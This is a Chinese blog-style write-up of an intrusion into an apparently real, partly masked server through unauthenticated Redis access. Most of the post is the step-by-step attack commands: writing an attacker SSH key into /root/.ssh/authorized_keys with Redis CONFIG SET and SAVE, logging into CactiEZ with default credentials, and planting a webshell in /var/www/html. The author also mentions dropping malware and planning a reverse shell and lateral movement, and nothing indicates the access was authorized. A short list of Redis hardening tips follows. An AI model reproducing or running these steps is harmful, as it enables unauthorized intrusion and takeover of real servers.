利用未授权的redis写webshell
最近redis的话题比较多,因此就有了下面这个故事。
目标IP:210.73.90.xxx
利用漏洞:未授权的redis访问
漏洞利用1:
1)本地生成秘钥
root@GanDolf:~# ssh-keygen -t rsa
2)将公钥写入一个文件
root@GanDolf:~# cd /root/.ssh/
root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
3)连接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh
4)连接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
发现为开启22端口
到此此方法失败
漏洞利用2:
nmap扫描结果:
80 443 开放
访问80原来是CactiEZ v10版本
尝试弱口令登录admin admin登录成功,发现无长传路径。
尝试redis写webshell
前提:网站的物理路径
手动几次没爆成功
转向挖CactiEZ v10 的一些安装信息
于是乎,下载CactiEZ v10 自己搭建虚拟安装,启动找出物理路径为:
/var/www/html
于是利用redis写shell
于是菜刀连起:
最后丢个小码。看看能不能挖到啥东西,后续可以反弹到本地,内容漫游下(好多交换机,主机^__^)
最后总结关于redis的安全建议:
1)修改默认端口
2)监听本地端口
3)使用非root启动,否则出现漏洞1,直接拿到root权限
4)修改配置文件,禁用相关命令
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52